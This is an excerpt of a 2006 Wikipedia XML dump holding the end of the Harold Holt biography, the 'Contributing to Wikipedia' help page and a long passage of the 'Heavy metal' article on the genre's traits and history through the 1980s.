In [[1956]] Holt became Deputy Leader of the Liberal Party and thus Menzies' heir apparent. In [[1958]], when [[Arthur Fadden|Sir Arthur Fadden]] retired, Holt succeeded him as Treasurer. His career was nearly derailed in [[1961]] when his economic policies caused a recession which came close to losing the [[1961]] election for the Liberals. But his stocks, like the economy, soon recovered, and in January [[1966]] he finally succeeded Menzies as Prime Minister. He had been an MP for almost 31 years - the longest wait of any non-caretaker Australian Prime Minister. 

==Prime Minister==
Holt's major challenge in office was the [[Vietnam War]], to which Menzies had committed Australian troops in support of the [[United States]]. In October [[1966]] US President [[Lyndon B. Johnson]] toured Australia at Holt's invitation, and in December Holt called an election on the slogan &quot;All the Way with LBJ.&quot; Holt had an enormous victory over Labor, whose leader, [[Arthur Calwell]], bitterly opposed the war.

In [[1967]], however, [[Gough Whitlam]] succeeded Calwell as Labor leader, and proved a much more effective opponent. At the [[1967]] half-Senate elections the Liberals lost a number of seats. Some Liberals, free of the strict discipline of the Menzies years, began to plot against what they saw as Holt's weak leadership.

== Disappearance ==
[[Image:Harold Holt at car boot.jpg|thumb|300px|Harold Holt collecting snorkelling paraphernalia from his car at Portsea, Victoria, 1966.]]
On [[17 December]] [[1967]], Holt went swimming at [[Cheviot Beach]] on [[Point Nepean]] near the holiday resort of [[Portsea, Victoria|Portsea]], south of Melbourne. Apparently seeking to impress his friends, Holt, who was 59 and had had a recent shoulder injury, plunged into the surf. He disappeared from view and was never seen again. Despite an extensive search, his remains were never found. He was officially presumed dead on [[19 December]] [[1967]].

Holt was an affable and well-liked figure in politics, and Australians of all political views were saddened by his death. US President [[Lyndon B. Johnson]] returned to Melbourne for his memorial service.

There were many rumours about Holt's death, such as that he had committed suicide or faked his own death in order to run away with his mistress. In [[1983]], British journalist Anthony Grey published a book in which he claimed that Holt had been an agent for the [[People's Republic of China]] and had been picked up by a Chinese submarine off Portsea and taken to China. The truth was that Holt was caught in the strong [[rip current|undertow]] off the beach and swept out to sea.



No inquest was held at the time because Victorian law did not provide any mechanism for reporting presumed or suspected deaths to the Victorian Coroner. The law was changed in [[1985]], and in [[2003]] the [[Victoria Police]] Missing Persons Unit formally reopened 161 pre-[[1985]] cases where drowning was suspected but no body was found. Holt's stepson Nicholas Holt said that after 37 years there were few surviving witnesses and no new evidence would be presented. On [[2 September]] [[2005]], the Coroner found that Holt had drowned in accidental circumstances on [[17 December]] [[1967]].

After Harold Holt's death, his widow Zara was made a [[Dame Commander of the British Empire]] (DBE), becoming [[Dame Zara Bate|Dame Zara Holt]]. She later married for a third time, to a Liberal party colleague of Holt's, Jeff Bate, becoming Dame Zara Bate. 

The [[United States Navy]] [[Knox class frigate]] [[USS Harold E. Holt (FF-1074)|USS ''Harold E. Holt'' (FF-1074)]] was named in his honour. He is also commemorated by the Harold Holt Memorial Swimming Centre, a [[swimming pool]] complex in the [[Melbourne]] suburb of [[Malvern, Victoria|Malvern]]. (The complex was already under construction at the time of Holt's death, and since he was Malvern's local member it was named in his memory; the irony of commemorating him with a swimming pool has been the source of much amusement to Australians.) Several other memorials also exist.

==See also==
*[[First Holt Ministry]]
*[[Second Holt Ministry]]

==External links==
*[http://primeministers.naa.gov.au/meetpm.asp?pmId=17 Harold Holt] - Australia's Prime Ministers / National Archives of Australia

{{start box}}
{{succession box | title=[[Treasurer of Australia]] | before=[[Arthur Fadden|Sir Arthur Fadden]] | after=[[William McMahon]] | years=1958&amp;ndash;1966}}
{{succession box one to two | title1=[[Liberal Party of Australia|Leader of the Liberal Party]] | before=[[Robert Menzies]] | after1=[[John Gorton]] | years1=1966&amp;ndash;1967 | title2=[[Prime Minister of Australia]] | after2=[[John McEwen]] | years2=1966&amp;ndash;1967}}
{{end box}}

{{AustraliaPM}}

[[Category:1908 births|Holt, Harold]]
[[Category:1967 deaths|Holt, Harold]]
[[Category:Prime Ministers of Australia|Holt, Harold]]
[[Category:Disappeared people|Holt, Harold]]
[[Category:Liberal Party of Australia politicians|Holt, Harold]]
[[Category:Members of the Cabinet of Australia|Holt, Harold]]
[[de:Harold Holt]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Contributing to Wikipedia</title>
    <id>13868</id>
    <revision>
      <id>37996241</id>
      <timestamp>2006-02-03T13:38:53Z</timestamp>
      <contributor>
        <username>Mikkerpikker</username>
        <id>584672</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">=I'd like to contribute to Wikipedia.  What should I do?=
There are many ways!  Below are just some of our best ideas, which include many things you can do with minimal effort.

==Create new articles==
Creating a new article is often a very useful thing to do, especially if there are lots of articles linking to an empty page.

Wikipedia articles contain lots of links to other articles.  Blue (or purple, if you have already visited them) links represent pages that do exist.  &lt;font color=&quot;#CC2200&quot;&gt;Red&lt;/font&gt; links point to pages that don't yet exist.  Presumably, whoever created the link thought that an article on the topic should exist.  It's possible this was a bad idea, and the link should be removed.  It's also possible they made a spelling error or didn't know the correct name for a page on the same (or a more general topic) that does exist.  In this case, you could fix the link, and/or create a [[Wikipedia:Redirect|redirect]].  If you decide there ''should'' be an article at the other end of the link, by all means start writing it!

In addition to looking for red links, you can look at a list of requested articles, and pick one you know something about.  (See the section &quot;Where do I start?&quot; below.)

Please do read [[Wikipedia:Your first article]] for additional advice about how and when ''not'' to create a new article.

For technical help getting started, see [[Help:Starting a new page]].

===Tip===
'''Don't be surprised if other people edit &quot;your&quot; pages to adapt them to our [[Wikipedia:Policy|policies]]. It's OK to learn as you go along.'''

==Maintenance tasks==
There are many things that need doing that don't necessarily involve creatively editing article content. See [[Wikipedia:Cleaning department]] for a list of janitorial tasks that we always need help with, [[:Category:Wikipedia maintenance]] or the section &quot;Start with a list of things that need doing&quot;, below.

==Make a donation==
Wikipedia is in constant need of more server capacity, bandwidth, and other technical services, to keep it running and fast enough to be useful.  Financial contributions to our non-profit parent, the [[Wikimedia Foundation]], are greatly appreciated.  Please see http://wikimediafoundation.org/fundraising.

==Publicize Wikipedia==
See [[Wikipedia:Publicity]] for ideas.

==Help other users==
Even new users can help answer factual questions on the [[Wikipedia:Reference desk]], which serves the same purpose as a [[reference desk]] you might find in your local library.  (You might also think of it as the Wikipedia version of [[Google#Google_Answers|Google Answers]].) You don't have to be an expert on Wikipedia because:
* You can help people find answers in existing Wikipedia articles.
* If you know the answer to a question not answered by Wikipedia, you can assist the questioner and  at the same time, add that information to Wikipedia for the benefit of future readers.
* If you don't know the answer to an interesting question, you can research it in non-Wikipedia sources, and then improve Wikipedia for the benefit of the questioner and future readers.

If you already have some experience, your assistance in one of the many [[:Category:Wikipedia help forums|Wikipedia help forums]], including [[Wikipedia:Help desk]], would be a valuable contribution.  You can help Wikipedia grow by helping other people share what they know.

==Where do I start?==

===Start with a list of things that need doing===
{{Opentask}}&lt;br clear=all&gt;
{{Resources for collaboration}}

The tables you see above and to the right contain a wealth of starting points loaded with lists of things to do on Wikipedia.  

You may be interested to join in one of the [[Wikipedia:Collaboration of the week|collaborations of the week]], or the [[Wikipedia:Article improvement drive]], featured on [[Wikipedia:Community Portal]].

[[:Category:Wikipedia maintenance]] also lists a variety of tasks that need carrying out on a regular basis, and [[:Category:Wikipedia requests]] has many that need filling.

[[:Category:Incomplete lists]] is the place to start if you would enjoy making or finishing lists.

===Start with what you know===
Visit [[Wikipedia:Pages needing attention]] to find a list of articles by topic. These often need contributions from people who know something about the subject!

Make a list of everything you know. Strike through the things that are not [[Wikipedia:Verifiable|verifiable]] or [[Wikipedia is not|not supposed to be covered by Wikipedia]]. Then, find the proper places to write about the items remaining on the list. Use the [[Wikipedia:Go button|go button]], the [[Wikipedia:Search|search]], or just navigate by following links. Click the &quot;What links here&quot; link on pages you visit.

Things you might know about...
* Things you have already done research on.  Have you written a [[thesis]], essay, or school paper?  Consider contributing the fruits of your efforts to related Wikipedia articles.  You probably don't want to dump the raw text of your essay into the wiki.  First of all, there will almost certainly be an existing article which you will want to [[Wikipedia:Merge|merge]] your content into.  Secondly, Wikipedia is an encyclopedia.  Articles that are not written in an encyclopedic style should be rewritten that way, or at least tagged {{tl:cleanup-tone}}.  Also keep in mind that [[Wikipedia:No original research|Wikipedia is not a place to post original research]].  This means that if you make a new discovery or come up with a new theory, you should find someplace else to post it.  What we ''are'' about is researching and summarizing ideas and information that have already been publicized elsewhere.  Most papers written up to the [[undergraduate]] level do exactly this.  For technical help, see [[Wikipedia:How to import articles]].
* Current events.  Wikipedia articles constantly need to be updated to reflect recent developments.  Wikipedia also has an important role to serve in publishing background information that helps people understand current events and issues.  If you hear a news story on your favorite news source (check out [http://news.google.com/ Google News] if you don't have one), check Wikipedia's coverage on the topic!  Remember that Wikipedia is an encyclopedia; if you want to write your own news stories, use [[Wikinews]].
* Do you know a foreign language?  Add [[Wikipedia:Interlanguage links|interlanguage links]] to articles!  Translate an article or two!  Or check out one of the many translation tasks listed under the &quot;Start with a list of things that need doing&quot; section, above.
* Your college or university.  Find its article on the [[list of colleges and universities]].
* Specific countries, provinces, counties, cities, and towns. Maybe one you've lived in, maybe one you like to visit.  Start with the [[list of countries]] to find a place of interest.  (But remember Wikipedia is not a travel guide; see [[Wikitravel]] for that.)
* What are your favorite subjects in history, entertainment, or sports?
* What are your favorite books (especially non-fiction)?
* Do you know anything about your local political or religious leaders?  Find them on one of the [[lists of office-holders]].
* Are you a fan of anyone who should have an encyclopedia article?  Find them on one of the [[lists of people]].  Are they properly indexed according to birth and death date?

===Start on a random page===
Visit a [[Special:Randompage]] and jump into the [[rabbit hole]]!

===Start with outside research===
Feed your appetite for knowledge.  Pick a subject about which you know relatively little but have always been curious or want to remedy a guilty ignorance.  If you already know a lot about something, the best references in the field might know more, or might be a helpful reference for other readers or helpful to you in your writing.

Try to find good online and print resources, both books and journal articles.  Using good references is a way of improving the credibility of Wikipedia, which will be increasingly important as Wikipedia grows and becomes more and more relevant.  Then [[Wikipedia:Cite sources|cite  your sources]].  By citing sources you avoid copyright violations and plagiarism as long as you use only acceptable portions of other works.  Doing research also makes it easier to think of material to add and allows you to improve any article, even one you didn't know much about.

Write about something you don't know about. Use this as an excuse to research a new topic. As you learn about it, write what you are learning here on Wikipedia. This is actually a good study aid because it forces you to take notes, to organize information, and to put what you've learned into your own words. You can take [[wikipedia:How to write a great article|how to write a great article]] as a guide.

Find something from a [[Public Domain Resources|public domain resource]],
update it, add links to it, and put it here (but make sure it really isn't
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'''Heavy metal''', sometimes referred to as simply '''metal''', is a form of music characterised by [[aggression|aggressive]], driving [[rhythm]]s and highly [[amplification|amplified]] [[distortion|distorted]] [[guitar]]s.
Heavy metal is a development of [[blues]], [[blues rock]], [[Rock and roll|rock]] and [[prog rock]]. Its origins lie in the [[hard rock]] bands who between [[1967]] and [[1974]] took blues and rock and created a hybrid with a heavy, guitar-and-drums-centered sound. From the late 1970s on, many bands would fuse this sound with a revival of [[European classical music]]. Heavy metal had its peak popularity in the [[1980s]], during which many of the now existing subgenres first evolved. Although not as commercially successful as it was then, heavy metal still has a large world-wide following of fans known by terms such as ''metalheads'', ''headbangers'' and ''moshers''.

==Characteristics==

Heavy metal is typically characterized by virtuosic instrumentation, especially a guitar, dark themes and lyrics, aggressive, uptempo rhythms and classical or symphonic styles.  However, heavy metal subgenres have their own stylistic variations on the original formthat may omit some of these characteristics.

According to Allmusic.com, &quot;Of all rock &amp; roll's myriad forms, heavy metal is the most extreme in terms of volume, machismo, and theatricality. There are numerous stylistic variations on heavy metal's core sound, but they're all tied together by a reliance on loud, distorted guitars (usually playing repeated riffs) and simple, pounding rhythms.&quot;

===Instrumentation===

The most commonly used line-up for metal is a [[drummer]], a [[bass guitar|bassist]], a [[rhythm guitar|rhythm guitarist]], a [[lead guitar|lead guitarist]] (in early metal bands a single guitarist often sufficed &amp;#8212; see [[power trio]]), a singer (who is sometimes also one of the instrumentalists), and occasionally a [[Keyboard instrument|keyboard]] player. Guitar playing is very important in heavy metal.  Distorted amplification of the guitars, with effects and electronic processing, is used to thicken the sound.  The result is simple and powerful, although some of the original heavy metallers joked that their simplified sound was more the result of limited ability than of innovation.

Heavy metal singers have wide variety in sounds among them, from mid-range clean vocals, to high-pitched wails, to deep growls.  The black and death metal scene tends to use distorted and guttural [[death grunt|death grunts]] (exemplified by the band Possessed).  Generally, it is hard to understand what the singer is &quot;singing&quot;.  Often, the text is considered to be too crude to be sung clearly (such as in [[Cannibal Corpse]]), but there are some bands (such as [[Eudoxis]] and [[Bolt Thrower (band)|Bolt Thrower]]) that will have more traditional lyrics obscured by the style of the singing.  

Intricate solos and [[riff|riffs]] are a big part of heavy metal music.  Guitarists use [[sweep-picking]], [[tapping]] and similar techniques for rapid playing.  Heavy metal is not limited, however, to the standard outfit of guitars and drums.  The Finnish cello quintet [[Apocalyptica]] has created its own version of heavy metal, difficult to categorise but leaning towards the darker side.

The American band [[Grand Funk Railroad]] was one of the early proto-heavy metal bands (along with [[The Who]], for example) that set new benchmarks for sound volume during shows. The volume of the music was seen as a factor equal in importance to its other qualities. Though this influence is often denigrated as pointless extravagance, it has proven enormously influential, and still dominates many people's perceptions of the genre. [[Motörhead]] and [[Manowar (band)|Manowar]] are more recent examples of bands that pride themselves on keeping the volume very high (see Manowar's 1984 song &quot;All Men Play On Ten&quot;). This behavior was mocked in the [[rockumentary]] spoof ''[[This Is Sp%C4%B1n%CC%88al Tap]]'' by guitarist &quot;[[Christopher Guest|Nigel Tufnel]]&quot;, who revealed that his [[Marshall Amplification|Marshall amplifiers]] had been modified to &quot;go to eleven.&quot;

===Themes===

Heavy metal, as an art form, is more than just music; it is as much visual as it is audible. Album covers and stage shows are almost as important to the presentation of the material as the music itself. Thus, through heavy metal, many artists collaborate to produce a menu of experiences in each piece, offering a wider range of experiences to the audience. In this respect, heavy metal becomes perhaps more of a diverse art form than any single form dominated by one method of expression.  Whereas a painting is experienced visually, a symphony experienced audibly, a heavy metal band's &quot;image&quot; and the common theme that binds all their music is expressed in the artwork on the album, the set of the stage, the tone of the lyrics, in addition to the sound of the music. 

[[Image:EmperorInTheNightsideEclipse.jpg|left|thumb|Some album covers can be quite intricate, as with [[Emperor (band)|Emperor]]'s [[In the Nightside Eclipse]]]]Rock historians tend to find that the influence of Western pop music gives heavy metal its escape-from-reality fantasy side, as an escape from reality through outlandish and fantastic lyrics, while African-American blues gives heavy metal its naked reality side, focusing on loss, depression and loneliness. 

If the audio, and thematic components of heavy metal are predominantly blues-influenced reality, then the visual component is predominantly pop-influenced fantasy. The themes of darkness, evil, power, and apocalypse are fantastic language components for addressing the reality of life's problems. Further, in reaction to the &quot;peace and love&quot; [[hippie]] culture of the 1960s, heavy metal developed as a [[counterculture]], where light is supplanted by darkness, and the happy ending of pop is replaced by the naked reality that things do not always work out in this world. Whilst fans claim that the medium of darkness is not the message, critics have accused the genre of glorifying the negative aspects of reality.

[[Image:MetallicaKill'EmAll.jpg|right|thumb|Metallica's debut album ''Kill 'em All'']]Heavy metal themes are typically more grave than the generally airy pop from the 1950s, 1960s and 1970s, focusing on war, nuclear annihilation, environmental issues, political and religious propaganda. [[Black Sabbath]]'s &quot;War Pigs&quot;, [[Ozzy Osbourne]]'s &quot;Killer of Giants&quot; and [[Metallica]]'s &quot;...And Justice for All&quot; are examples of serious contributions to the discussion of the state of affairs. The commentary on reality sometimes tends to become over-simplified because the fantastic poetic vocabulary of heavy metal deals primarily with very clear dichotomies of light and dark, hope and despair, good and evil, which do not make much room for complex shades of grey.

Some might differentiate by observing that pure heavy metal does not generally sing about love, while many hair metal songs are focused on love. In some respects, one might argue that the hair metal scene of the 1980s was the logical endpoint of the glitter or glam rock movement of the 1970s; the visual similarities between the two, with the make-up and fanciful costumes, makes the argument more compelling. Glitter rock, however, was lyrically focused on sexual ambiguity, free expression and individuality, while hair metal was unambiguously macho and heterosexual, with little room for diversity of political or social opinions.  Ultimately, &quot;pure&quot; heavy metal would position itself at the periphery of pop culture, never quite at centre, and metal denizens contend that the move towards the centre was a commercialism that compromised both the artistic integrity of the form and the opportunity for messages to be taken seriously.

===Classical influence===

[[Image:OzzyOsbourneBlizzardofOzz.jpg|left|thumb|Ozzy Osbourne - The Blizzard of Ozz]]The appropriation of classical music by heavy metal typically includes the influence of [[Johann Sebastian Bach|Bach]] and [[Paganini]] rather than [[Wolfgang Amadeus Mozart|Mozart]] or [[Franz Liszt]]. Though [[Deep_Purple|Deep Purple]]/[[Rainbow_%28band%29|Rainbow]] guitarist [[Ritchie_Blackmore|Ritchie Blackmore]] had been experimenting with musical figurations borrowed from classical music since the early 1970s, [[Edward_Van_Halen|Edward Van Halen's]] solo cadenza &quot;Eruption&quot; (released on [[Van_Halen|Van Halen's]] first album in 1978) marks an important moment in the development of virtuosity in metal.  Following Van Halen, the &quot;classical&quot; influence in metal guitar during the 1980s actually looked to the early eigtheenth century for its model of speed and technique.  Indeed, the late [[Baroque_music|Baroque era]] of western art music was also frequently interpreted through a [[Gothic_novel|gothic]] lens.  For example, &quot;Mr. Crowley,&quot; (1981) by [[Ozzy_Osbourne|Ozzy Osbourne]] and guitarist [[Randy_Rhoads|Randy Rhoads]], uses both a [[pipe organ]] and [[Baroque]]-inspired guitar solos to create a particular mood for Osbourne's lyrics on the legendary occultist [[Aleister Crowley]].  Like many other metal guitarists in the 1980s, Rhoads quite earnestly took up the &quot;learned&quot; study of [[musical theory]] and helped to solidify the minor industry of guitar pedagogy magazines (such as ''Guitar for the Practicing Musician'') that grew up during the decade.  In most instances, however, metal musicians who borrowed the technique and rhetoric of art music were not attempting to ''be'' classical musicians.  (An exception can arguably be found in [[Yngwie Malmsteen]], though many argue that his music relies more on virtuosity and the use of ''classical-sounding'' elements such as the harmonic minor scale to appear classical without actually ''being'' classical).

[[Image:Iron_Maiden_Powerslave.jpg|right|thumb|Iron Maiden - Powerslave]] The [[Encarta]] encyclopedia claims that &quot;when a text was associated with the music, Bach could write musical equivalents of verbal ideas&quot;.  [[Progressive rock]] bands such as [[Emerson, Lake, and Palmer]] and [[Yes]] had already explored this relationship before heavy metal evolved.  As heavy metal uses apocalyptic themes and images of power and darkness, the ability to translate verbal ideas into musical ideas that successfully convey the ideas of the words is critical to heavy metal authenticity and credibility. An excellent example of this is the theme album ''[[Powerslave (album)|Powerslave]]'', by Iron Maiden. The cover is of a dramatic Egyptian pyramid scene, and many of the songs on the album have subject matter that requires a sound suggestive of life and death, including a song entitled &quot;[[The Rime of the Ancient Mariner]]&quot;, based on the poem by [[Samuel Taylor Coleridge]].  However, the 1977 [[Rush (band)|Rush]] album [[A Farewell to Kings]] features the twelve-minute &quot;Xanadu,&quot; also inspired by Coleridge and predating the [[Iron Maiden]] composition by several years.  Bassist [[Steve Harris (musician)|Steve Harris]] has also cited progressive rock bands such as [[Rush (band)|Rush]] and [[Yes]] as influences on his own considerable talents.

==History==

===The term &quot;heavy metal&quot;===

[[Image:LedZeppelinLedZeppelinalbumcover.jpg|right|thumb|Cover from ''[[Led Zeppelin (album)|Led Zeppelin]]''. The album greatly influenced many heavy metal musicians]] The origin of the term ''heavy metal'' in relation to a form of music is uncertain. The term had been used for centuries in chemistry and metallurgy and is listed as such in the ''Oxford English Dictionary''.  An early use of the term in modern popular culture was by counter-culture writer [[William S. Burroughs]]. In his [[1962]] novel ''The Soft Machine'', he introduces the character &quot;Uranian Willy, the Heavy Metal Kid&quot;. His next novel in [[1964]] ''Nova Express'', develops this theme further, ''heavy metal'' being a metaphor for addictive drugs. 

&lt;blockquote&gt;&quot;With their diseases and orgasm drugs and their sexless parasite life forms - Heavy Metal People of Uranus wrapped in cool blue mist of vaporized bank notes - And the Insect People of Minraud with metal music&quot;&lt;/blockquote&gt;

:[[William Burroughs|Burroughs, William S]], (1964). ''Nova Express''. New York: Grove Press. p. 112

Given the publication dates of these works it is unlikely that Burroughs had any intent to relate the term to rock music; however Burroughs' writing may have influenced later usage of the term.  

The first use of the term &quot;heavy metal&quot; in a song lyric is the words &quot;heavy metal thunder&quot; in the [[1968 ]][[Steppenwolf (band)|Steppenwolf]] song &quot;Born to be Wild&quot; (Walser 1993, p. 8):

&lt;blockquote&gt;&quot;I like smoke and lightning&lt;br&gt;
Heavy metal thunder&lt;br&gt;
Racin' with the wind&lt;br&gt;
And the feelin' that I'm under&quot;&lt;/blockquote&gt;

The word &quot;heavy&quot; (meaning serious or profound) had entered [[beatnik]]/[[counterculture]] [[slang]] some time earlier, and references to &quot;heavy music&quot;&amp;mdash;typically slower, more amplified variations of standard pop fare&amp;mdash;were already common; indeed, [[Iron Butterfly]] first started playing [[Los Angeles]] in 1967, their name explained on an album cover, &quot;Iron- symbolic of something heavy as in sound, Butterfly- light, appealing and versatile...an object that can be used freely in the imagination&quot; Iron Butterfly's 1968 debut album was entitled ''[[Heavy]]''.  The fact that [[Led Zeppelin]] (whose moniker came partly in reference to [[Keith Moon]]'s jest that they would &quot;go down like a lead balloon&quot;) incorporated a heavy metal into its name may have sealed the usage of the term.

In the late 1960s, [[Birmingham, England]] was still a centre of industry and (given the many rock bands that evolved in and around the city, such as [[Led Zeppelin]], [[The Move]], and [[Black Sabbath]]) some people suggest that the term Heavy Metal may have some relation to such activity. Biographies of The Move have claimed that the sound came from their 'heavy' guitar riffs that were popular amongst the 'metal midlands'.  

[[Sandy Pearlman]], original producer, manager and songwriter for  [[Blue &amp;Ouml;yster Cult]], claims to have been the first person to apply the term &quot;heavy metal&quot; to rock music in [[1970]].

A widespread but disputed hypothesis about the origin of the genre was brought forth by &quot;Chas&quot; Chandler, who was a manager of the Jimi Hendrix Experience in 1969, in an interview on the PBS TV programme &quot;Rock and Roll&quot; in 1995. He states that &quot;...it [heavy metal] was a term originated in a New York Times article reviewing a Jimi Hendrix performance&quot;, and claims the author described the Jimi Hendrix Experience &quot;...like listening to heavy metal falling from the sky&quot;. The precise source of this claim, however, has not been found and its accuracy is disputed.

The first well-documented usage of the term &quot;heavy metal&quot; referring to a style of music, appears to be the May [[1971]] issue of '''[[Creem]]''', in a review of Sir Lord Baltimore's ''Kingdom Come''. In this review we are told that &quot;Sir Lord Baltimore seems to have down pat most all the best heavy metal tricks in the book&quot;.  '''Creem''' critics David Marsh and [[Lester Bangs]] would subsequently use the term frequently in their writings, often in negative connotations in regards to bands such as Led Zeppelin and Black Sabbath.

Regardless of its origin, ''heavy metal'' may have been used as a jibe initially but was quickly adopted by its adherents. Other, already-established bands, such as [[Deep Purple]], who had origins in pop or [[progressive rock]], immediately took on the heavy metal mantle, adding distortion and additional amplification in a more aggressive approach.

===Origins (1960s and early 1970s)===

[[United States|American]] [[blues music]] was highly popular and influential among the early [[United Kingdom|British]] rockers; bands like [[the Rolling Stones]] and [[the Yardbirds]] had recorded covers of many classic blues songs, sometimes speeding up the [[tempo]] and using [[electric guitar]] where the original used [[acoustic guitar|acoustic]]. (Similar adaptations of blues and other [[race music]] had formed the basis of the earliest rock and roll, notably that of [[Elvis Presley]]).  

Such powered-up blues music was encouraged by the [[intellectual]] and artistic experimentation that arose when musicians started to exploit the opportunities of the electrically amplified guitar to produce a louder, more [[discordant]] sound.  Where blues-rock drumming styles had been largely simple [[shuffle beat]]s on small drum kits, drummers began using a more muscular, complex, and amplified approach to match and be heard with the increasingly loud guitar sounds; similarly vocalists modified their technique and increased their reliance on amplification, often becoming more stylised and dramatic in the process.  Simultaneous advances in amplification and recording technology made it possible to successfully capture the power of this heavier approach on record. 

[[Image:BlackSabbathParanoid.jpg|right|thumb|Black Sabbath - Paranoid]] The earliest music commonly identified as heavy metal came out of the [[Birmingham]] area of the [[United Kingdom]] in the late [[1960s]] when bands such as [[Led Zeppelin]] and [[Black Sabbath]] applied an overtly non-traditional approach to blues standards and created new music often based on blues scales and arrangements. These bands were highly influenced by [[United States|American]] [[psychedelic rock]] musicians including [[Jimi Hendrix]], who had pioneered amplified and processed blues-rock guitar and acted as a bridge between black American music and white European rockers.  

Other oft-cited influences include [[Vanilla Fudge]], who had slowed down and psychedelicised pop tunes, as well as earlier British rockers such as [[The Who]] and [[The Kinks]], who had paved the way for heavy metal styles by introducing [[power chord]]s and more aggressive percussion to the rock genre.  Another key influence was [[Cream (band)|Cream]], who exemplified the [[power trio]] format that would become a staple of heavy metal.   

Perhaps the earliest song that is clearly identifiable as prototype heavy metal is &quot;You Really Got Me&quot; by [[The Kinks]] ([[1965]]). Some also cite [[The Beatles]] as a key influence; they had increasingly used distortion and heavier arrangements as early as [[1967]]'s ''[[Sgt. Pepper's Lonely Hearts Club Band]]''. 

By late 1968 heavy blues sounds were becoming common: many fans and scholars point to [[Blue Cheer]]'s 1968 cover of [[Eddie Cochran]]'s hit &quot;[[Summertime Blues]]&quot; as the first true heavy-metal song; Beatles scholars cite in particular the song &quot;[[Helter Skelter]]&quot; from ''[[The White Album]]'' ([[1968]]), which set new standards for distortion and aggressive sound on a pop album. [[Dave Edmunds]]' band [[Love Sculpture]] released an aggressive heavy guitar version of [[Khachaturian]]'s ''[[Sabre Dance]]'' in [[November]] [[1968]]. The [[Jeff Beck]] Group's album ''Truth'' (late 1968) was an important and influential rock album released just before [[Led Zeppelin]]'s first [[Led Zeppelin (album)|album]], leading some (especially British blues fans) to argue that ''Truth'' was the first heavy metal album. The Yardbirds' 1968 single &quot;Think About It&quot; should also be mentioned, as that employed a similar sound to that which [[Jimmy Page]] would employ with Led Zeppelin. 

Also, [[progressive rock]] band [[King Crimson]]'s &quot;21st Century Schizoid Man&quot; from their debut album, [[In The Court Of The Crimson King]] (1969), featured most of the thematic, compositional and musical characteristics of heavy metal: a very heavily distorted guitar tone and discordant soloing by [[Robert Fripp]], lyrics that focused on what is wrong about what the 21st century human would be, a dark mood and even [[Greg Lake]]'s vocals were passed through a distortion box.

However, it was the release of ''Led Zeppelin'' in 1969 that brought worldwide notice of the formation of a new genre.  The first heavy metal bands -- [[Led Zeppelin]], [[Uriah Heep]], [[UFO (band)|UFO]] and [[Black Sabbath]], among a few -- are often now called [[hard rock]] bands by the modern metal community rather than heavy metal, especially those bands whose sound was more similar to traditional rock music. In general, the terms ''heavy metal'' and ''hard rock'' are often used interchangeably, in particular when discussing the [[1970s]]. Indeed, many such bands are not considered &quot;heavy metal bands&quot; per se, but rather as having contributed individual songs or works that contributed to the genre; few would consider [[Jethro Tull (band)|Jethro Tull]] a heavy metal band in any real sense, for example, but few would dispute that their song [[Aqualung]] was a quintessential early Heavy Metal song.

===Classic Heavy Metal (Late 1970s and early 1980s)===

[[Image:VanHalenVanHalen.jpg|right|thumb|Album by [[Van Halen]] ]] The late 1970s and early 1980s history of heavy metal music is highly debated among music historians. Some would call the period an era of &quot;[[sell out|selling-out]]&quot;, in which bands like [[Blue Öyster Cult]] achieved moderate mainstream success and the [[Los Angeles, California|Los Angeles]] [[hair metal]] scene began finding pop audiences, especially in the [[1980s]]. Others ignore or downplay the importance of these bands, instead focusing on the arrival of classical influences, which can be heard in the work of [[Eddie Van Halen]] and [[Randy Rhoads]] and such like. Others still highlight the late-70s cross-fertilization of heavy metal with fast-paced, youthful [[punk rock]] (e.g. [[Sex Pistols]]), culminating in the [[New Wave of British Heavy Metal]] around the year 1980, led by bands like [[Judas Priest]] and [[Iron Maiden]].

Many people, including Heavy Metal musicians of prominent groups, believe that the foundations of the definite style and sound of pure heavy metal were laid down by [[Judas Priest]] (another Birmingham band) with three of their early albums: &quot;Sad Wings Of Destiny&quot; (1976), &quot;Sin After Sin&quot; (1977) and &quot;Stained Class&quot; (1978). 
(Although [[Rainbow (band)|Rainbow]] are also sometimes cited as pioneering a sort of pure heavy metal, although one could also make this claim about the later albums of [[Deep Purple]] such as ''[[Burn (album)|Burn]]'' and ''[[Stormbringer (album)|Stormbringer]]'', these bands are generally considered to be hard rock bands).

The explosion of guitar virtuosity (pioneered by Jimi Hendrix a musical generation earlier) was brought to the fore by Eddie Van Halen, and many consider his 1978 solo &quot;[[Eruption (song)|Eruption]]&quot; (''[[Van Halen (album)|Van Halen]]'', [[1978]]) a milestone. [[Ritchie Blackmore]] (formerly of Deep Purple), [[Randy Rhoads]] (with pioneers [[Ozzy Osbourne]] and [[Quiet Riot]]) and [[Yngwie Malmsteen]] went on to solidify this explosion of virtuoso guitar work, and in some cases, classical guitars and nylon-stringed guitars were played at heavy metal concerts. Classical icons such as [[Liona Boyd]] also became associated with the heavy metal stars as peers in a newly diverse guitar fraternity where conservative and aggressive guitarists could come together to &quot;trade licks&quot;.

This explosion would cool down in the music of [[Ronnie James Dio]] (who himself had a tenure at lead vocals with the legendary [[Black Sabbath]]) and continue to settle towards [[Judas Priest]] and [[Iron Maiden]], who may be the final and complete consummation of &quot;pure&quot; heavy metal in the lineage of the &quot;grandfathers&quot; - Hendrix, Black Sabbath, Led Zeppelin and Deep Purple.

===Metal Goes Mainstream (1980s)===

[[Image:QuietRiotMetalHealthalbumcover.jpg|right|thumb|Quiet Riot - Metal Health]] In a related development, taking place mostly in the U.S., heavy metal would return full circle through the pop vanity of the L.A. scene, led by [[Mötley Crüe]]. In the beginning, this form was led by legends like [[Judas Priest]], [[Dio]], [[Dokken]] and [[Twisted Sister]]. During the 1980s, a pop-based form of hard rock, with a party-hearty spirit and a glam-influenced visual aesthetic (sometimes referred to as &quot;hair metal&quot; due to the long and painstakingly-styled hair of band members) dominated the music charts in some parts of the world, and superstars like [[Def Leppard]], Poison, Bon Jovi, Mötley Crüe, and [[Ratt]] helped lead the way. While their music has endured as representative of a particular view, time and place, this form is not always seen by metal purists as a particularly pure or well-executed form of metal.  The 1987 debut of [[Guns N' Roses]], a hard rock band with its Aerosmith influences worn prominently on its sleeve, and whose image reflected the grittier underbelly of the Sunset Strip, was at least in part a reaction against the overly-polished image of hair metal, but that band's wild success was in many ways the last gasp of the L.A. hard-rock and metal scene.

===Underground Metal (1980s, 1990s, and 2000s)===

